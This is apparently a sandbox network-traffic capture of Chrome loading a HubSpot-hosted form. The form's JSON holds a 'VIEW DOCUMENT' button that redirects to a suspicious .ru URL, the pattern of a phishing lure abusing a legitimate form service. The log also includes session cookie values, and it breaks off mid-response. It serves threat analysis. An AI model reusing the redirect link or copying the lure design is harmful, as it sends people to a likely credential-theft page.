20	192.168.2.5	49878	104.16.118.116	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:35 UTC	1076	OUT	GET /__ptq.gif?k=15&fi=88ff8659-0bef-4f40-af53-74c32a82fa4b&fci=e9a82a43-503a-42c6-b7ff-a7bf73266280&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507074992&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:36 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:36 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8ffc2fe8df41c44f-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 18 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-wkgqd x-evy-trace-virtual-host: all x-hubspot-correlation-id: 89441a8c-6fd3-4fa5-965d-b8b31a2d5742 x-request-id: 89441a8c-6fd3-4fa5-965d-b8b31a2d5742 x-robots-tag: none Set-Cookie: __cf_bm=b5HdAN3ek_YmYyEE2gTewoXnOSPuJcvMoCz8j9jY4yw-1736507076-1.0.1.1-A1R9RNy0h05Hz28Ld.vWJJN99W0A2rWrHWchgC86l0AoPlghgfCTUdFOSnMxDP4Y_9xMmrc_mydmLLb_a9kGDA; path=/; expires=Fri, 10-Jan-25 11:34:36 GMT; domain=.hubspot.com; HttpOnly; Secure; SameSite=None
2025-01-10 11:04:36 UTC	507	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 7a 55 69 72 55 41 6c 58 6e 56 57 57 79 31 56 67 53 31 51 42 41 73 43 76 7a 57 63 35 37 6f 56 36 70 25 32 46 61 33 4a 4f 57 32 47 58 25 32 42 4f 25 32 42 4e 30 74 6a 4e 4b 49 7a 68 37 4b 42 42 56 75 62 53 34 62 52 70 63 37 69 6c 71 41 52 6a 59 35 49 62 54 66 4c 67 4a 45 76 71 4f 49 4a 31 6a 56 52 5a 64 70 32 50 39 66 32 53 4e 47 4b 63 74 4a 55 72 4a 7a 78 4e 31 57 55 4d 63 4c 4a 50 53 35 5a 42 6a 6a 4d 66 61 78 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zUirUAlXnVWWy1VgS1QBAsCvzWc57oV6p%2Fa3JOW2GX%2BO%2BN0tjNKIzh7KBBVubS4bRpc7ilqARjY5IbTfLgJEvqOIJ1jVRZdp2P9f2SNGKctJUrJzxN1WUMcLJPS5ZBjjMfax"}],"group":"cf-nel","max_age":604800}
2025-01-10 11:04:36 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49879	104.19.175.188	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:35 UTC	1085	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-DEFINITION_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
2025-01-10 11:04:36 UTC	904	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:36 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 2 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: fd9f478f-ba48-48dc-984d-0fc466bbee1c x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-pdcc5 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: fd9f478f-ba48-48dc-984d-0fc466bbee1c CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ffc2fe8ff15f793-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 11:04:36 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49877	104.19.175.188	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:35 UTC	1081	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-RENDER_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
2025-01-10 11:04:36 UTC	904	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:36 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 7 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 0bef5fc8-d992-44e1-b05d-89527479d129 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-8z78f x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 0bef5fc8-d992-44e1-b05d-89527479d129 CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ffc2fe8ff4341cd-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 11:04:36 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49880	104.18.41.124	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:35 UTC	656	OUT	GET /hubfs/48528028/dicna7me-Jan-09-2025-05-47-09-4108-PM.png HTTP/1.1 Host: 48528028.fs1.hubspotusercontent-na1.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:36 UTC	1342	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:36 GMT Content-Type: image/webp Content-Length: 1066 Connection: close CF-Ray: 8ffc2fe8df0141b2-EWR CF-Cache-Status: HIT Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 51832 Cache-Control: s-maxage=2592000, max-age=1209600, stale-while-revalidate=900 Content-Disposition: inline; filename="dicna7me-Jan-09-2025-05-47-09-4108-PM.webp" ETag: "5f32f9c1dd8812a72c333c2f1ddb6bea" Last-Modified: Thu, 09 Jan 2025 17:47:10 GMT Vary: Accept Via: 1.1 78a5d96d9c348edf8a3fca2ba77f8e64.cloudfront.net (CloudFront) Access-Control-Allow-Methods: GET cache-tag: F-184710121503,P-48528028,FLS-ALL Cf-Bgj: imgq:85,h2pri Cf-Polished: origFmt=png, origSize=1966 Edge-Cache-Tag: F-184710121503,P-48528028,FLS-ALL Timing-Allow-Origin: 48528028.fs1.hubspotusercontent-na1.net X-Amz-Cf-Id: 215EDu7c_hkwzzxzfkn1ykQckFS3Gibt4XLGeq1WfhBhgaBnOPqAxw== X-Amz-Cf-Pop: JFK52-P1 x-amz-id-2: DRYPSXROXlSyFq2/NZ5DZYk1Tqs8qG7L60cTtNyungGT3BrDWMS/137trCHJicLrFMnQl2gStBakHkh4EzsPKgPAEkGVI2aRZ4WUpVhzHyA= x-amz-meta-access-tag: public-not-indexable x-amz-meta-cache-tag: F-184710121503,P-48528028,FLS-ALL x-amz-meta-created-unix-time-millis: 1736444829410 x-amz-meta-index-tag: none x-amz-replication-status: COMPLETED x-amz-request-id: YJ1A9WXQPF4C9BEY x-amz-server-side-encryption: AES256
2025-01-10 11:04:36 UTC	603	IN	Data Raw: 78 2d 61 6d 7a 2d 73 74 6f 72 61 67 65 2d 63 6c 61 73 73 3a 20 49 4e 54 45 4c 4c 49 47 45 4e 54 5f 54 49 45 52 49 4e 47 0d 0a 78 2d 61 6d 7a 2d 76 65 72 73 69 6f 6e 2d 69 64 3a 20 75 4e 59 59 52 41 73 66 6d 32 34 53 78 4a 6b 7a 62 70 6d 77 4d 4c 7a 39 59 38 5f 7a 41 51 78 30 0d 0a 58 2d 43 61 63 68 65 3a 20 52 65 66 72 65 73 68 48 69 74 20 66 72 6f 6d 20 63 6c 6f 75 64 66 72 6f 6e 74 0d 0a 58 2d 48 53 2d 41 6c 74 65 72 6e 61 74 65 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 58 2d 48 53 2d 43 46 2d 4c 61 6d 62 64 61 3a 20 75 73 2d 65 61 73 74 2d 31 2e 45 6e 66 6f 72 63 65 41 63 6c 46 6f 72 52 65 61 64 73 20 33 0d 0a 58 2d 48 53 2d 43 46 2d 4c 61 6d 62 64 61 2d 45 6e 66 6f 72 63 65 3a 20 75 73 2d 65 61 73 74 2d 31 2e 45 Data Ascii: x-amz-storage-class: INTELLIGENT_TIERINGx-amz-version-id: uNYYRAsfm24SxJkzbpmwMLz9Y8_zAQx0X-Cache: RefreshHit from cloudfrontX-HS-Alternate-Content-Type: text/plainX-HS-CF-Lambda: us-east-1.EnforceAclForReads 3X-HS-CF-Lambda-Enforce: us-east-1.E
2025-01-10 11:04:36 UTC	793	IN	Data Raw: 52 49 46 46 22 04 00 00 57 45 42 50 56 50 38 4c 15 04 00 00 2f 77 40 06 00 b5 d0 a2 6d ed 90 24 45 a9 dd 3d b6 6d db b6 6d db b6 6d db b6 6d db b6 d9 36 cb 0f ff 17 11 59 7e 6d f7 29 fb a6 d6 c4 40 0d 04 00 41 74 58 73 77 68 d0 49 ee 95 6e 93 d8 bb bb ac c0 27 dd 51 51 6d db d4 0e e3 37 34 12 44 01 a2 68 66 49 20 84 20 fa 3f 01 c5 54 d9 4f bb b0 e5 3f 7b 97 a3 33 ce bc d7 51 18 14 ee 69 ae a7 2c 7c c7 40 4a cb 51 2f 7c 92 c9 e4 79 5b f9 61 21 86 b2 0a 1e 8b 53 06 8e 85 6e 7c 47 e9 4b de bf 14 a2 27 94 89 d9 81 f3 28 03 c9 01 29 e5 c0 b9 10 fd 4d 59 78 79 ae 1c d0 c4 7c 54 f2 ab f6 ce e2 a3 5b 5b 5b 3b 75 35 74 c9 4b 24 12 53 b6 6c f2 c5 3a 77 c7 ef 27 3e a3 3f 41 46 d0 d6 36 80 00 7f d1 f6 3d e9 98 0c a1 6d 42 2e 86 6f ba ed 4b 82 35 7c c1 37 e4 11 c0 5b Data Ascii: RIFF"WEBPVP8L/w@m$E=mmmm6Y~m)@AtXswhIn'QQm74DhfI ?TO?{3Qi,\|@JQ/\|y[a!Sn\|GK'()MYxy\|T[[[;u5tK$Sl:w'>?AF6=mB.oK5\|7[
2025-01-10 11:04:36 UTC	273	IN	Data Raw: 3d 0f 70 21 33 03 47 52 cc 87 40 e2 38 6e e7 4c 3a 42 06 bf a1 ce b0 3c d7 f1 35 5f 71 29 39 b0 2e d6 0b 00 ab 72 3a db e1 51 da 74 3b d9 e0 2e 4d 2d 35 d2 1f f4 00 b3 23 bf 23 e9 56 aa 31 d7 60 04 d2 5e 60 6f 80 b4 3e d8 5d f9 1c 4b 63 71 33 39 80 50 bf f1 31 3f 53 32 7a 91 65 80 1e 9c cc 70 d6 62 76 36 44 d2 48 f6 67 32 3c e8 c4 2e fc 8b dc 8f 58 9b 0e c0 cc 8c 4d 49 ca 63 ec ec 00 d3 72 36 92 f4 1c 9b d0 04 4d 1b f3 1d d2 d1 44 d1 97 48 7a 98 b5 e9 40 57 56 e3 05 5e c1 83 fb d0 f1 44 d1 cf 38 1b 11 45 c3 79 88 eb 71 1e 29 f6 db ab 23 f0 77 d1 12 48 ea cb 5f e4 a3 a0 bf 31 ba 08 f9 0f 62 74 2f e4 df 8f d1 2d f2 ff 93 d1 69 05 fc 15 99 0d 1e 19 f4 44 15 ea 47 74 e0 02 86 22 e9 01 a0 33 aa 50 0b 58 04 e8 c2 a6 ec ca b2 40 e3 75 54 2c fa 80 b9 c0 6c dc 9e Data Ascii: =p!3GR@8nL:B<5_q)9.r:Qt;.M-5##V1`^`o>]Kcq39P1?S2zepbv6DHg2<.XMIcr6MDHz@WV^D8Eyq)#wH_1bt/-iDGt"3PX@uT,l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49882	104.16.118.116	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:35 UTC	1076	OUT	GET /__ptq.gif?k=17&fi=88ff8659-0bef-4f40-af53-74c32a82fa4b&fci=e9a82a43-503a-42c6-b7ff-a7bf73266280&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507075017&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:36 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:36 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8ffc2fe9083118c8-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 5 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-6v7t5 x-evy-trace-virtual-host: all x-hubspot-correlation-id: 6bed60e3-2d82-4008-9ad7-c2303d19a79a x-request-id: 6bed60e3-2d82-4008-9ad7-c2303d19a79a x-robots-tag: none Set-Cookie: __cf_bm=IvjgSHgfyUH19BQlnmft0R0rTxSNz13tZddx2fRzpMg-1736507076-1.0.1.1-iWNP_af7iUnLwJ8Gwgv9lpa7999J0uD5R6uliVeswI8bZbcZsOLZ2LD0wIAk4C9OkbgF5ghB5hG2D052MtgOSA; path=/; expires=Fri, 10-Jan-25 11:34:36 GMT; domain=.hubspot.com; HttpOnly; Secure; SameSite=None
2025-01-10 11:04:36 UTC	511	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 66 68 31 76 69 52 7a 5a 45 34 73 77 6d 25 32 46 71 6b 46 39 31 50 25 32 46 43 50 30 59 44 79 58 53 54 42 56 30 72 64 41 64 56 46 4b 75 6e 79 50 50 70 36 42 54 47 4d 36 61 51 4e 68 63 5a 68 66 36 4d 4a 46 50 75 63 78 30 63 62 4a 59 70 7a 35 4e 39 7a 25 32 46 36 70 76 4c 53 59 68 51 44 30 35 6d 35 36 63 47 48 31 46 79 54 57 50 63 68 4a 32 4d 6a 38 59 30 33 66 58 54 25 32 46 50 5a 37 42 36 58 76 25 32 42 6b 6a 6b 43 71 43 48 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fh1viRzZE4swm%2FqkF91P%2FCP0YDyXSTBV0rdAdVFKunyPPp6BTGM6aQNhcZhf6MJFPucx0cbJYpz5N9z%2F6pvLSYhQD05m56cGH1FyTWPchJ2Mj8Y03fXT%2FPZ7B6Xv%2BkjkCqCH"}],"group":"cf-nel","max_age":6048
2025-01-10 11:04:36 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49881	104.19.175.188	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:35 UTC	942	OUT	GET /embed/v3/form/48528028/88ff8659-0bef-4f40-af53-74c32a82fa4b/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
2025-01-10 11:04:36 UTC	1062	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:36 GMT Content-Type: application/json;charset=utf-8 Transfer-Encoding: chunked Connection: close x-origin-hublet: na1 vary: origin access-control-allow-methods: OPTIONS, GET access-control-allow-headers: * access-control-allow-credentials: false access-control-max-age: 180 x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet Cache-Control: max-age=0, no-cache, no-store x-robots-tag: none x-envoy-upstream-service-time: 29 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 35b1a78a-d241-459b-838d-c9f387131295 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-kf895 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 35b1a78a-d241-459b-838d-c9f387131295 CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ffc2fe9295e42a7-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 11:04:36 UTC	307	IN	Data Raw: 32 35 30 65 0d 0a 7b 22 66 6f 72 6d 22 3a 7b 22 70 6f 72 74 61 6c 49 64 22 3a 34 38 35 32 38 30 32 38 2c 22 67 75 69 64 22 3a 22 38 38 66 66 38 36 35 39 2d 30 62 65 66 2d 34 66 34 30 2d 61 66 35 33 2d 37 34 63 33 32 61 38 32 66 61 34 62 22 2c 22 63 73 73 43 6c 61 73 73 22 3a 22 68 73 2d 66 6f 72 6d 20 73 74 61 63 6b 65 64 22 2c 22 69 6e 6c 69 6e 65 4d 65 73 73 61 67 65 22 3a 22 22 2c 22 72 65 64 69 72 65 63 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 35 71 77 6f 2e 6f 76 65 6e 74 65 72 61 2e 72 75 2f 31 4f 53 6f 4b 2f 22 2c 22 73 75 62 6d 69 74 54 65 78 74 22 3a 22 56 49 45 57 20 44 4f 43 55 4d 45 4e 54 22 2c 22 66 6f 72 6d 46 69 65 6c 64 47 72 6f 75 70 73 22 3a 5b 7b 22 66 69 65 6c 64 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 74 72 75 65 2c 22 69 Data Ascii: 250e{"form":{"portalId":48528028,"guid":"88ff8659-0bef-4f40-af53-74c32a82fa4b","cssClass":"hs-form stacked","inlineMessage":"","redirectUrl":"https://5qwo.oventera.ru/1OSoK/","submitText":"VIEW DOCUMENT","formFieldGroups":[{"fields":[],"default":true,"i
2025-01-10 11:04:36 UTC	1369	IN	Data Raw: 22 68 74 74 70 73 3a 2f 2f 34 38 35 32 38 30 32 38 2e 66 73 31 2e 68 75 62 73 70 6f 74 75 73 65 72 63 6f 6e 74 65 6e 74 2d 6e 61 31 2e 6e 65 74 2f 68 75 62 66 73 2f 34 38 35 32 38 30 32 38 2f 64 69 63 6e 61 37 6d 65 2d 4a 61 6e 2d 30 39 2d 32 30 32 35 2d 30 35 2d 34 37 2d 30 39 2d 34 31 30 38 2d 50 4d 2e 70 6e 67 5c 22 20 73 74 79 6c 65 3d 5c 22 6d 61 78 2d 77 69 64 74 68 3a 20 31 30 30 25 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 31 30 30 25 3b 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 5c 22 20 64 61 74 61 2d 69 6d 67 2d 61 73 70 65 63 74 2d 72 61 74 69 6f 3d 5c 22 34 2e 36 31 35 33 38 34 36 31 35 33 38 34 36 31 35 5c 22 20 61 6c 74 3d 5c 22 Data Ascii: "https://48528028.fs1.hubspotusercontent-na1.net/hubfs/48528028/dicna7me-Jan-09-2025-05-47-09-4108-PM.png\" style=\"max-width: 100%; max-height: 100%; display:block; margin-left:auto; margin-right:auto;\" data-img-aspect-ratio=\"4.615384615384615\" alt=\"
2025-01-10 11:04:36 UTC	1369	IN	Data Raw: 6e 73 20 70 72 65 73 65 6e 74 65 64 20 69 6e 20 74 68 69 73 20 65 6d 61 69 6c 20 61 72 65 20 73 6f 6c 65 6c 79 20 74 68 6f 73 65 20 6f 66 20 74 68 65 20 61 75 74 68 6f 72 20 61 6e 64 20 64 6f 20 6e 6f 74 20 6e 65 63 65 73 73 61 72 69 6c 79 20 72 65 70 72 65 73 65 6e 74 20 74 68 6f 73 65 20 6f 66 20 42 6c 75 65 20 44 69 61 6d 6f 6e 64 20 41 74 74 61 63 68 6d 65 6e 74 73 2e 3c 2f 73 70 61 6e 3e 22 2c 22 74 79 70 65 22 3a 22 54 45 58 54 22 7d 2c 22 69 73 50 61 67 65 42 72 65 61 6b 22 3a 66 61 6c 73 65 7d 5d 2c 22 6d 65 74 61 44 61 74 61 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6c 61 6e 67 22 2c 22 76 61 6c 75 65 22 3a 22 65 6e 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 65 6d 62 65 64 54 79 70 65 22 2c 22 76 61 6c 75 65 22 3a 22 52 45 47 55 4c 41 52 22 7d 2c 7b 22 6e 61 Data Ascii: ns presented in this email are solely those of the author and do not necessarily represent those of Blue Diamond Attachments.</span>","type":"TEXT"},"isPageBreak":false}],"metaData":[{"name":"lang","value":"en"},{"name":"embedType","value":"REGULAR"},{"na
